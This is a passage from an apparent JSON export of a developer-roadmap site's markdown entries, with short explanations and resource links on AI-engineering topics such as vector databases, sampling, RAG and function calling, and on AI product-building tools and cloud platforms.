    "content": "# Supabase\n\nSupabase Vector is an extension of the Supabase platform, specifically designed for AI and machine learning applications that require vector operations. It leverages PostgreSQL's pgvector extension to provide efficient vector storage and similarity search capabilities. This makes Supabase Vector particularly useful for applications involving embeddings, semantic search, and recommendation systems. With Supabase Vector, developers can store and query high-dimensional vector data alongside regular relational data, all within the same PostgreSQL database.\n\nVisit the following resources to learn more:\n\n- [@official@Supabase Vector](https://supabase.com/docs/guides/ai)\n- [@video@Supabase Vector: The Postgres Vector database](https://www.youtube.com/watch?v=MDxEXKkxf2Q)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/system-prompting@S46Vaq8hYq6Ee1Id_-fSQ.md",
    "content": "# System Prompting\n\nSystem prompting sets the overall context, purpose, and operational guidelines for LLMs. It defines the model's role, behavioral constraints, output format requirements, and safety guardrails. System prompts provide foundational parameters that influence all subsequent interactions, ensuring consistent, controlled, and structured AI responses throughout the session.\n\nVisit the following resources to learn more:\n\n- [@article@User prompts vs. system prompts: What’s the difference?](https://www.regie.ai/blog/user-prompts-vs-system-prompts)\n- [@video@System Prompt Fundamentals](https://www.youtube.com/watch?v=RMR0Y8esSmE)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/temperature@_bPTciEA1GT1JwfXim19z.md",
    "content": "# Temperature\n\nTemperature is a parameter used in language models that controls the randomness of the generated text. A higher temperature value (e.g., 1.0) leads to more diverse and unpredictable outputs, as the model is more likely to sample less probable words. Conversely, a lower temperature value (e.g., 0.2) yields more deterministic, conservative outputs, favoring the most likely words according to the model's training data. Essentially, it influences the probability distribution from which the next word is selected.\n\nVisit the following resources to learn more:\n\n- [@article@What Temperature Means in Natural Language Processing and AI](https://thenewstack.io/what-temperature-means-in-natural-language-processing-and-ai/)\n- [@article@What is LLM Temperature? - IBM](https://www.ibm.com/think/topics/llm-temperature)\n- [@article@How Temperature Settings Transform Your AI Agent's Responses](https://docsbot.ai/article/how-temperature-settings-transform-your-ai-agents-responses)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/text-to-speech@GCERpLz5BcRtWPpv-asUz.md",
    "content": "# Text-to-Speech\n\nIn the context of multimodal AI, text-to-speech (TTS) technology converts written text into natural-sounding spoken language, allowing AI systems to communicate verbally. When integrated with other modalities, such as visual or interactive elements, TTS can enhance user experiences in applications like virtual assistants, educational tools, and accessibility features. For example, a multimodal AI could read aloud text from an on-screen document while highlighting relevant sections, or narrate information about objects recognized in an image. By combining TTS with other forms of data processing, multimodal AI creates more engaging, accessible, and interactive systems for users.\n\nVisit the following resources to learn more:\n\n- [@article@What is Text-to-Speech?](https://aws.amazon.com/polly/what-is-text-to-speech/)\n- [@article@From Text to Speech: The Evolution of Synthetic Voices](https://ignitetech.ai/about/blogs/text-speech-evolution-synthetic-voices)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/tokens@2WbVpRLqwi3Oeqk1JPui4.md",
    "content": "# Tokens in Large Language Models\n\nTokens are fundamental units of text that LLMs process, created by breaking text into smaller components such as words, subwords, or characters. Understanding tokens is crucial because models predict the next token in sequences, API costs are based on token count, and models have maximum token limits for input and output.\n\nVisit the following resources to learn more:\n\n- [@article@Explaining Tokens — the Language and Currency of AI](https://blogs.nvidia.com/blog/ai-tokens-explained/)\n- [@article@Understanding Tokens and Parameters in Model Training: A Deep Dive](ttps://www.functionize.com/blog/understanding-tokens-and-parameters-in-model-training)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/tools--function-calling@eOqCBgBTKM8CmY3nsWjre.md",
    "content": "# Tools & Function Calling in AI Agents\n\nTools and function calling equip AI agents with the ability to interact with the real world and access external information. Instead of just providing text-based responses, the agent can use predefined functions, tools, or APIs to perform specific actions like searching the web, sending emails, or controlling devices. This extends the agent's capabilities and allows it to solve more complex tasks that require actions beyond simple language generation.\n\nVisit the following resources to learn more:\n\n- [@course@A Comprehensive Guide to Function Calling in LLMs](https://thenewstack.io/a-comprehensive-guide-to-function-calling-in-llms/)\n- [@official@What are Tools? - Hugging Face](https://huggingface.co/learn/agents-course/en/unit1/tools)\n- [@article@Compare 50+ AI Agent Tools in 2026](https://aimultiple.com/ai-agent-tools)\n- [@article@AI Agents Explained in Simple Terms for Beginners](https://www.geeky-gadgets.com/ai-agents-explained-for-beginners/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/top-k@qzvp6YxWDiGakA2mtspfh.md",
    "content": "# Top-K Sampling\n\nTop-K sampling is a method used by Large Language Models (LLMs) during text generation to select the next word. Instead of considering the entire vocabulary, it narrows down the choices to the K most probable words predicted by the model. Low values (1-10) produce conservative, factual outputs. Medium values (20-50) balance creativity and quality. High values (50+) enable diverse, creative outputs. Use low K for technical tasks, high K for creative writing.\n\nVisit the following resources to learn more:\n\n- [@article@Top-K Sampling: The Complete Token Selection Guide](https://www.dataannotation.tech/blog/top-k-sampling)\n- [@video@What are the LLM’s Top-P + Top-K ?](https://www.youtube.com/watch?v=aDmp2Uim0zQ)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/top-p@FjV3oD7G2Ocq5HhUC17iH.md",
    "content": "# Top-P Sampling\n\nTop-P sampling, also known as nucleus sampling, is a technique used in language models to generate text. Instead of considering all possible next words, it focuses on the smallest set of words whose cumulative probability exceeds a threshold 'P'. Unlike Top-K's fixed number, Top-P dynamically adjusts based on the probability distribution. Low values (0.1-0.5) produce focused outputs, medium (0.6-0.9) balance creativity and coherence, and high (0.9-0.99) enable creative diversity.\n\nVisit the following resources to learn more:\n\n- [@article@Top-P Sampling: What Is It and Why Does It Matter?](https://www.dataannotation.tech/blog/top-p-sampling)\n- [@video@What are the LLM’s Top-P + Top-K ?](https://www.youtube.com/watch?v=aDmp2Uim0zQ)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/training@xostGgoaYkqMO28iN2gx8.md",
    "content": "# Training\n\nTraining refers to the process of teaching a machine learning model to recognize patterns and make predictions by exposing it to a dataset. During training, the model learns from the data by adjusting its internal parameters to minimize errors between its predictions and the actual outcomes. This process involves iteratively feeding the model with input data, comparing its outputs to the correct answers, and refining its predictions through techniques like gradient descent. The goal is to enable the model to generalize well so that it can make accurate predictions on new, unseen data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Model Training?](https://oden.io/glossary/model-training/)\n- [@article@Machine learning model training: What it is and why it’s important](https://domino.ai/blog/what-is-machine-learning-model-training)\n- [@article@Training ML Models - Amazon](https://docs.aws.amazon.com/machine-learning/latest/dg/training-ml-models.html)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/transformersjs@bGLrbpxKgENe2xS1eQtdh.md",
    "content": "# Transformers.js\n\nTransformers.js is a JavaScript library that enables transformer models, like those from Hugging Face, to run directly in the browser or Node.js, without needing cloud services. It supports tasks such as text generation, sentiment analysis, and translation within web apps or server-side scripts. Using WebAssembly (Wasm) and efficient JavaScript, Transformers.js offers powerful NLP capabilities with low latency, enhanced privacy, and offline functionality, making it ideal for real-time, interactive applications where local processing is essential for performance and security.\n\nVisit the following resources to learn more:\n\n- [@official@Transformers.js on Hugging Face](https://huggingface.co/docs/transformers.js/en/index)\n- [@video@How Transformer.js Can Help You Create Smarter AI In Your Browser](https://www.youtube.com/watch?v=MNJHu9zjpqg)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/transport-layer@o4gHDZ5p9lyeHuCAPvAKz.md",
    "content": "# Transport Layer in Model Context Protocol (MCP)\n\nThe Transport Layer in the Model Context Protocol (MCP) is responsible for reliably and efficiently moving data between different components of an AI agent system. It defines how messages are packaged, addressed, and transmitted across a network or within a single machine, ensuring that information reaches its intended destination without errors or loss. This layer handles the underlying communication mechanisms, abstracting away the complexities of network protocols and hardware.\n\nVisit the following resources to learn more:\n\n- [@official@Layer](https://modelcontextprotocol.io/docs/learn/architecture#layers)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/type-of-models@2X0NDcq2ojBJ0RxY_U6bl.md",
    "content": "# Types of AI Models\n\nAI models come in various forms. Open models provide transparent access to their architecture and training data, fostering collaboration and customization, while closed models keep these details proprietary. Pre-trained models are trained on massive datasets and can be fine-tuned for specific tasks, saving time and resources. Self-hosted models, on the other hand, offer greater control and privacy as they are deployed and managed on your own infrastructure.\n\nVisit the following resources to learn more:\n\n- [@article@Recap of all types of LLM Agents](http://towardsdatascience.com/recap-of-all-types-of-llm-agents/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/using-sdks-directly@WZVW8FQu6LyspSKm1C_sl.md",
    "content": "# Using SDKs Directly\n\nWhile tools like Langchain and LlamaIndex make it easy to implement RAG, you don't have to necessarily learn and use them. If you know about the different steps of implementing RAG, you can simply do it all yourself e.g., do the chunking using `@langchain/textsplitters` package, create embeddings using any LLM e.g., use OpenAI Embedding API through their SDK, save the embeddings to any vector database e.g. if you are using Supabase Vector DB, you can use their SDK, and similarly, you can use the relevant SDKs for the rest of the steps as well.\n\nVisit the following resources to learn more:\n\n- [@official@Langchain Text Splitter Package](https://www.npmjs.com/package/@langchain/textsplitters)\n- [@official@OpenAI Embedding API](https://platform.openai.com/docs/guides/embeddings)\n- [@official@Supabase AI & Vector Documentation](https://supabase.com/docs/guides/ai)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/vector-database@zZA1FBhf1y4kCoUZ-hM4H.md",
    "content": "# Vector Database\n\nWhen implementing Retrieval-Augmented Generation (RAG), a vector database is used to store and efficiently retrieve embeddings, which are vector representations of data like documents, images, or other knowledge sources. During the RAG process, when a query is made, the system converts it into an embedding and searches the vector database for the most relevant, similar embeddings (e.g., related documents or snippets). These retrieved pieces of information are then fed to a generative model, which uses them to produce a more accurate, context-aware response.\n\nVisit the following resources to learn more:\n\n- [@article@How to Implement Graph RAG Using Knowledge Graphs and Vector Databases](https://towardsdatascience.com/how-to-implement-graph-rag-using-knowledge-graphs-and-vector-databases-60bb69a22759)\n- [@article@Retrieval Augmented Generation (RAG) with Vector Databases: Expanding AI Capabilities](https://objectbox.io/retrieval-augmented-generation-rag-with-vector-databases-expanding-ai-capabilities/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/vector-databases@tt9u3oFlsjEMfPyojuqpc.md",
    "content": "# Vector Databases\n\nVector databases are systems specialized in storing, indexing, and retrieving high-dimensional vectors, often used as embeddings for data like text, images, or audio. Unlike traditional databases, they excel at managing unstructured data by enabling fast similarity searches, where vectors are compared to find the closest matches. This makes them essential for tasks like semantic search, recommendation systems, and content discovery. Using techniques like approximate nearest neighbor (ANN) search, vector databases handle large datasets efficiently, ensuring quick and accurate retrieval even at scale.\n\nVisit the following resources to learn more:\n\n- [@article@Vector Databases](https://developers.cloudflare.com/vectorize/reference/what-is-a-vector-database/)\n- [@article@What are Vector Databases?](https://www.mongodb.com/resources/basics/databases/vector-databases)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/vector-dbs@dzPKW_fn82lY1OOVrggk3.md",
    "content": "# Vector Databases\n\nVector databases are specialized systems designed to store, index, and retrieve high-dimensional vectors, often used as embeddings that represent data like text, images, or audio. Unlike traditional databases that handle structured data, vector databases excel at managing unstructured data by enabling fast similarity searches, where vectors are compared to find those that are most similar to a query. This makes them essential for tasks like semantic search, recommendation systems, and content discovery, where understanding relationships between items is crucial. Vector databases use indexing techniques such as approximate nearest neighbor (ANN) search to efficiently handle large datasets, ensuring quick and accurate retrieval even at scale.\n\nVisit the following resources to learn more:\n\n- [@article@Vector Databases](https://developers.cloudflare.com/vectorize/reference/what-is-a-vector-database/)\n- [@article@What are Vector Databases?](https://www.mongodb.com/resources/basics/databases/vector-databases)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/vertex-ai-agent-builder@AxzTGDCC2Ftp4G66U4Uqr.md",
    "content": "# Vertex AI\n\nVertex AI is Google Cloud's fully-managed, unified development platform for building, training, deploying, and managing machine learning (ML) models at scale. It provides tools for the entire ML lifecycle, from data preparation and custom training with AutoML to model monitoring and deployment. Vertex AI offers access to Google's foundation models, such as Gemini, along with custom training options and tools for building AI agents. It streamlines the ML workflow into a single interface, supporting both low-code and custom development on managed infrastructure\n\nVisit the following resources to learn more:\n\n- [@official@Vertex AI](https://cloud.google.com/generative-ai-studio?hl=en)\n- [@article@Vertex AI Tutorial: A Comprehensive Guide For Beginners](https://www.datacamp.com/tutorial/vertex-ai-tutorial)\n- [@video@Introduction to Vertex AI Studio](https://www.youtube.com/watch?v=KWarqNq195M)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/video-understanding@TxaZCtTCTUfwCxAJ2pmND.md",
    "content": "# Video Understanding\n\nVideo understanding with multimodal AI involves analyzing and interpreting both visual and audio content to provide a more comprehensive understanding of videos. Common use cases include video summarization, where AI extracts key scenes and generates summaries; content moderation, where the system detects inappropriate visuals or audio; and video indexing for easier search and retrieval of specific moments within a video. Other applications include enhancing video-based recommendations, security surveillance, and interactive entertainment, where video and audio are processed together for real-time user interaction.\n\nVisit the following resources to learn more:\n\n- [@opensource@Awesome LLM for Video Understanding](https://github.com/yunlong10/Awesome-LLMs-for-Video-Understanding)\n- [@article@Video Understanding](https://dl.acm.org/doi/10.1145/3503161.3551600)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/weaviate@VgUnrZGKVjAAO4n_llq5-.md",
    "content": "# Weaviate\n\nWeaviate is an open-source vector database that allows users to store, search, and manage high-dimensional vectors, often used for tasks like semantic search and recommendation systems. It enables efficient similarity searches by converting data (like text, images, or audio) into embeddings and indexing them for fast retrieval. Weaviate also supports integrating external data sources and schemas, making it easy to combine structured and unstructured data.\n\nVisit the following resources to learn more:\n\n- [@official@Weaviate](https://weaviate.io/)\n- [@video@Advanced AI Agents with RAG](https://www.youtube.com/watch?v=UoowC-hsaf0&list=PLTL2JUbrY6tVmVxY12e6vRDmY-maAXzR1)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/what-are-embeddings@--ig0Ume_BnXb9K2U7HJN.md",
    "content": "# What are Embeddings\n\nEmbeddings are dense, numerical vector representations of data, such as words, sentences, images, or audio, that capture their semantic meaning and relationships. By converting data into fixed-length vectors, embeddings allow machine learning models to process and understand the data more effectively. For example, word embeddings represent similar words with similar vectors, enabling tasks like semantic search, recommendation systems, and clustering. Embeddings make it easier to compare, search, and analyze complex, unstructured data by mapping similar items close together in a high-dimensional space.\n\nVisit the following resources to learn more:\n\n- [@article@What is Embedding? -IBM](https://www.ibm.com/topics/embedding)\n- [@article@What are Embeddings in Machine Learning?](https://www.cloudflare.com/en-gb/learning/ai/what-are-embeddings/)\n- [@video@What are Word Embeddings](https://www.youtube.com/watch?v=wgfSDrqYMJ4)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/what-are-rags@lVhWhZGR558O-ljHobxIi.md",
    "content": "# RAG & Implementation\n\nRetrieval-Augmented Generation (RAG) combines information retrieval with language generation to produce more accurate, context-aware responses. It uses two components: a retriever, which searches a database to find relevant information, and a generator, which crafts a response based on the retrieved data. Implementing RAG involves using a retrieval model (e.g., embeddings and vector search) alongside a generative language model (like GPT). The process starts by converting a query into embeddings, retrieving relevant documents from a vector database, and feeding them to the language model, which then generates a coherent, informed response. This approach grounds outputs in real-world data, resulting in more reliable and detailed answers.\n\nVisit the following resources to learn more:\n\n- [@article@What is RAG?](https://aws.amazon.com/what-is/retrieval-augmented-generation/)\n- [@article@RAG Explained: Understanding Embeddings, Similarity, and Retrieval](https://towardsdatascience.com/rag-explained-understanding-embeddings-similarity-and-retrieval/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is Retrieval-Augmented Generation? IBM](https://www.youtube.com/watch?v=T-D1OfcDW1M)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/what-is-an-ai-engineer@GN6SnI7RXIeW8JeD-qORW.md",
    "content": "# What is an AI Engineer?\n\nAI engineers are professionals who specialize in designing, developing, and implementing artificial intelligence (AI) systems. Their work is essential in various industries, as they create applications that enable machines to perform tasks that typically require human intelligence, such as problem-solving, learning, and decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@How to Become an AI Engineer: Duties, Skills, and Salary](https://www.simplilearn.com/tutorials/artificial-intelligence-tutorial/how-to-become-an-ai-engineer)\n- [@article@AI Engineers: What they do and how to become one](https://www.techtarget.com/whatis/feature/How-to-become-an-artificial-intelligence-engineer)\n- [@article@I Transitioned from Data Science to AI Engineering: Here’s Everything You Need to Know](https://towardsdatascience.com/i-transitioned-from-data-science-to-ai-engineering-heres-everything-you-need-to-know/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/whisper-api@OTBd6cPUayKaAM-fLWdSt.md",
    "content": "# Whisper API\n\nThe Whisper API by OpenAI enables developers to integrate speech-to-text capabilities into their applications. It uses OpenAI's Whisper model, a powerful speech recognition system, to convert spoken language into accurate, readable text. The API supports multiple languages and can handle various accents, making it ideal for tasks like transcription, voice commands, and automated captions. With the ability to process audio in real time or from pre-recorded files, the Whisper API simplifies adding robust speech recognition features to applications, enhancing accessibility and enabling new interactive experiences.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Whisper](https://openai.com/index/whisper/)\n- [@opensource@Whisper on GitHub](https://github.com/openai/whisper)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/windsurf@Xsl8mx6J182TxPPtNP471.md",
    "content": "# Windsurf\n\nWindsurf is a tool specifically designed to enhance code navigation and understanding within large codebases. It leverages AI to provide intelligent code search, relationship discovery between different code elements, and code completion suggestions that are contextually aware. It's intended to reduce the time developers spend exploring and understanding code, enabling them to write more efficient and accurate code.\n\nVisit the following resources to learn more:\n\n- [@official@Windsurf Docs](https://docs.windsurf.com/windsurf/getting-started)\n- [@video@Windsurf Tutorial for Beginners (AI Code Editor) - Better than Cursor??](https://www.youtube.com/watch?v=8TcWGk1DJVs)\n- [@video@Windsurf AI Tutorial for Beginners](https://www.youtube.com/watch?v=x1VCmB__TDo)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/zero-shot@15XOFdVp0IC-kLYPXUJWh.md",
    "content": "# Zero Shot Prompting\n\nZero-shot prompting is a prompt engineering method that relies on the pretraining of a large language model (LLM) to infer an appropriate response. In contrast to other prompt engineering methods, such as few-shot prompting, models aren’t provided with examples of output when prompting with the zero-shot technique.\n\nVisit the following resources to learn more:\n\n- [@article@What is zero-shot prompting?](https://www.ibm.com/think/topics/zero-shot-prompting)\n- [@article@Zero-Shot Prompting](https://www.promptingguide.ai/techniques/zeroshot)\n- [@video@Zero-shot, One-shot and Few-shot Prompting Explained | Prompt Engineering 101](https://www.youtube.com/watch?v=sW5xoicq5TY)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../../components/FAQs/FAQs';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'Is an AI engineer a good career choice?',\n    answer: [\n      'Yes, becoming an AI engineer is a great career choice. AI is transforming nearly every industry, from healthcare and finance to transportation and entertainment. As companies increasingly adopt AI-driven solutions, the demand for skilled AI engineers continues to grow. This role offers opportunities to work on cutting-edge technologies like machine learning, natural language processing, and computer vision, making it a highly innovative field.',\n    ],\n  },\n  {\n    question: 'What is reinforcement learning?',\n    answer: [\n      '[Reinforcement learning](https://towardsdatascience.com/reinforcement-learning-101-e24b50e1d292) (RL) is a type of machine learning where an agent learns to make decisions by interacting with an environment. Unlike traditional supervised learning, RL does not rely on labeled data. Instead, the agent learns by taking actions and receiving feedback in the form of rewards or penalties. Over time, it aims to maximize cumulative rewards by refining its strategy based on past experiences. RL is often used in areas like robotics, game AI, and autonomous systems, where the goal is to develop intelligent behaviors through trial and error.',\n    ],\n  },\n  {\n    question: 'Do AI Engineers need a degree?',\n    answer: [\n      'While a degree in computer science, data science, or a related field can provide a solid foundation for becoming an AI engineer, it is not strictly necessary. Many successful AI engineers are self-taught or have gained expertise through online courses, certifications, and hands-on projects.',\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/1-prototyping@ZGqeasMGuEiZvrdyjSNuM.md",
    "content": "# Prototyping\n\nA prototype is a visual representation of your app before any code is generated. It helps you align with stakeholders, catch missing features early, and give the generation tool a concrete reference to work from. It does not need to be detailed; it just needs to be clear enough to communicate intent.\n\nVisit the following resources to learn more:\n\n- [@article@Software prototyping: What it is, its process, and the best tools to use](https://www.hostinger.com/tutorials/software-prototyping#h-can-i-create-prototypes-with-ai)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/2-generation@DCcj2_9a7aYi6qCnI4TMV.md",
    "content": "# 2. Generation\n\nThis is the step where your prototype and requirements are turned into a working codebase by an AI tool. The output should include a front end, a back end, a database schema, and an API layer. The quality of the output depends directly on the clarity of your inputs."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/3-refinement@S9fE9eG1YWSfVRi8h13U1.md",
    "content": "# 3. Refinement\n\nOnce you have a generated codebase, you will need to adjust it. Some changes are small and targeted; others require regenerating a larger part of the application. Knowing which type of change you are dealing with before you start saves time and reduces the risk of breaking something that already works."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/4-collaboration@rcR8DMzELUnmJ7I_pwWpI.md",
    "content": "# Collaboration\n\nAt this stage, you bring other people into the process: teammates, testers, or early users. Their feedback drives the next round of refinement. This node also covers the tools and practices that keep the codebase stable when multiple people are working on it at the same time."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/5-deployment@t03SkyX28SacfP_DpmHUf.md",
    "content": "# Deployment\n\nDeployment is the process of making your app available to real users. The right deployment option depends on your technical experience, expected traffic, and budget. Start with the simplest option that meets your needs and scale up as the product grows.\n\nVisit the following resources to learn more:\n\n- [@article@What is software deployment?](https://www.atlassian.com/agile/software-development/software-deployment)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/ai-product-creation-cycle@COeXWV8fCTHXPZnErXcGZ.md",
    "content": "# AI Product Creation Cycle\n\nAI tools are changing how software is built. The traditional approach of writing code from scratch is being replaced by a new paradigm: you generate a working product from your requirements, test it with real users, and refine it in repeated cycles until it is ready to ship.\n\nVisit the following resources to learn more:\n\n- [@article@Will AI make us all product builders?](https://www.fundament.design/p/will-ai-make-us-all-product-builders?hide_intro_popup=true)\n- [@article@Building AI Products: From Concept to Launch](https://www.digitalocean.com/resources/articles/building-ai-products#understanding-the-ai-product-lifecycle)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/app-anatomy@ncU03bZztHwt9VrQbEZ15.md",
    "content": "# App Anatomy\n\nEvery app has the same basic parts: a front end that users interact with, a back end that processes logic, a database that stores data, and an API that connects them. Understanding this structure helps you review what the AI generates and ask better questions when something does not work as expected.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Frontend Roadmap](https://roadmap.sh/frontend/)\n- [@roadmap@Visit the Dedicated Fr Backend](https://roadmap.sh/backend)\n- [@roadmap@Visit the Dedicated API Design Roadmap](https://roadmap.sh/api-design)\n- [@article@Web Application Architecture: Front-end, Middleware and Back-end](https://dev.to/techelopment/web-application-architecture-front-end-middleware-and-back-end-2ld7)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/aws@-MWVEd4dEfGcwBTxKh9WM.md",
    "content": "# AWS\n\nAWS is the largest cloud provider in the world. It offers infrastructure for computing, storage, databases, networking, and dozens of other services. It requires more configuration than PaaS options but gives you complete control over how your application runs and scales.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated AWS Roadmap](https://roadmap.sh/aws)\n- [@official@AWS Cloud Essentials](https://aws.amazon.com/getting-started/cloud-essentials/)\n- [@official@Overview of Amazon Web Services](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/introduction.html)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/azure-devops@DAEMRai6FpPrmRkmKTOhV.md",
    "content": "# Azure DevOps\n\nAzure DevOps is Microsoft's platform for managing code, pipelines, and project tasks. It integrates tightly with Azure infrastructure and is a common choice in enterprise environments. It covers version control, CI/CD, and issue tracking in a single platform.\n\nVisit the following resources to learn more:\n\n- [@official@Azure DevOps](https://azure.microsoft.com/en-us/products/devops)\n- [@video@Azure DevOps Tutorial for Beginners | CI/CD with Azure Pipelines](https://www.youtube.com/watch?v=4BibQ69MD8c)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/azure@UoZoN-nN8eTnI-J5ma-oq.md",
    "content": "# Azure\n\nAzure is Microsoft's cloud platform. It is a strong choice for teams already using Microsoft tools or working in enterprise environments. It covers the full range of infrastructure needs and integrates well with GitHub, Active Directory, and other Microsoft services.\n\nVisit the following resources to learn more:\n\n- [@official@Azure Website](https://azure.microsoft.com/en-us/)\n- [@opensource@Microsoft Azure Guide](https://github.com/mikeroyal/Azure-Guide)\n- [@video@icrosoft Azure Fundamentals Certification Course (AZ-900)](https://www.youtube.com/watch?v=5abffC-K40c)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/base44@kufoDIjMsRnb93I6Y_hN7.md",
    "content": "# Base44\n\nBase44 generates full-stack web apps from a description and handles both the front end and back end. It is designed for speed and requires no coding knowledge to get started. It is a good option when you need a working prototype quickly and plan to refine it with a more powerful tool later.\n\nVisit the following resources to learn more:\n\n- [@official@Base44 Docs](https://docs.base44.com/)\n- [@official@How to build an app with AI in 6 steps](https://base44.com/blog/how-to-build-an-app-with-ai)\n- [@video@Base44 Tutorial for Beginners 2026 - Step by Step](https://www.youtube.com/watch?v=FN9fyZ9IPWs)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/bit-cloud@AlE1rcdp-5RVihRMpshnh.md",
    "content": "# Bit Cloud\n\nBit Cloud is a platform for managing reusable components across a codebase. It makes it easier to share, version, and update components independently of the main application. It is particularly useful in projects where multiple people are working on different parts of the front end at the same time."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/bolt@YZi89ogkfzKIivbdFmcP_.md",
    "content": "# Bolt\n\nBolt generates full-stack applications from a prompt and produces clean, readable code. It is faster than writing from scratch and gives you more control over the output than most no-code tools. It works particularly well for standard web app structures.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Bolt](https://support.bolt.new/building/quickstart)\n- [@article@Bolt.new Review 2025: The Good, Bad, and Surprising Findings for Developers](https://trickle.so/blog/bolt-new-review)\n- [@video@Bolt.New AI Tutorial for Beginners: Create an App in Under 20 Minutes!](https://www.youtube.com/watch?v=5zfOitaKfmM)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/browsers--devtools@iRey4hwJCIraoNsIZELZv.md",
    "content": "# Browsers / DevTools\n\nBrowser developer tools let you inspect HTML, debug JavaScript, monitor network requests, and measure performance directly in the browser. They are the first place to look when something in the front end is not working as expected.\n\nVisit the following resources to learn more:\n\n- [@article@How Browsers Work](https://www.ramotion.com/blog/what-is-web-browser/)\n- [@article@What are browser developer tools?](https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Tools_and_setup/What_are_browser_developer_tools)\n- [@video@How Do Web Browsers Work?](https://www.youtube.com/watch?v=5rLFYtXHo9s)\n- [@video@nderstand Browser Dev Tools Network Tab (and avoid these mistakes...)](https://www.youtube.com/watch?v=2CC0fugc_2o)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/choose-a-prototype-tool@mQzAgHoM3DS_zn2zr2FXg.md",
    "content": "# Choose a Prototype Tool\n\nDevelopers are increasingly moving away from traditional design tools like Figma and Miro toward AI prototyping tools that generate a working version of the app directly from a text description. Tools like Lovable, Replit, and Bolt let you go from idea to something clickable in minutes, which makes it easier to validate a concept before committing to a full generation cycle. Choose based on your familiarity and the complexity of what you are building.\n\nVisit the following resources to learn more:\n\n- [@article@Best AI Prototyping Tools in 2026: Ranked by Use Case](https://www.banani.co/blog/best-ai-prototyping-tools)\n- [@article@Prototyping Tools: A Comprehensive Guide Intro](https://www.coursera.org/articles/prototyping-tools)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/claude-code@Fa06GTSwYb9x0QuGsp8et.md",
    "content": "# Claude Code\n\nClaude Code works in the terminal and is best used when you need to understand a piece of generated code before modifying it. Give it a specific problem; ask it to explain a function, trace a bug, or rewrite a block of logic. It reasons through the code step by step, which makes it reliable for changes where the consequences are not immediately obvious.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Claude Code Roadmap](https://roadmap.sh/claude-code)\n- [@official@Claude Code Overview](https://code.claude.com/docs/en/overview)\n- [@article@Claude Code: From Zero to Hero](https://medium.com/@dan.avila7/claude-code-from-zero-to-hero-bebe2436ac32)\n- [@video@laude Code Tutorial for Beginners](https://www.youtube.com/watch?v=eMZmDH3T2bY)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/claude-code@G86QePmTB5LX4_dMkVgoK.md",
    "content": "# Claude Code\n\nClaude Code is a terminal-based AI tool built by Anthropic. It is designed to reason through complex code problems, explain unfamiliar codebases, and help with debugging. It works best when you need to understand what the generated code is doing before modifying it.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Claude Code Roadmap](https://roadmap.sh/claude-code)\n- [@official@Claude Code Overview](https://code.claude.com/docs/en/overview)\n- [@article@Claude Code: From Zero to Hero](https://medium.com/@dan.avila7/claude-code-from-zero-to-hero-bebe2436ac32)\n- [@video@Claude Code Tutorial for Beginners](https://www.youtube.com/watch?v=eMZmDH3T2bY)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/cloudflare@Q6PzFpT_4kElowvvB2u_v.md",
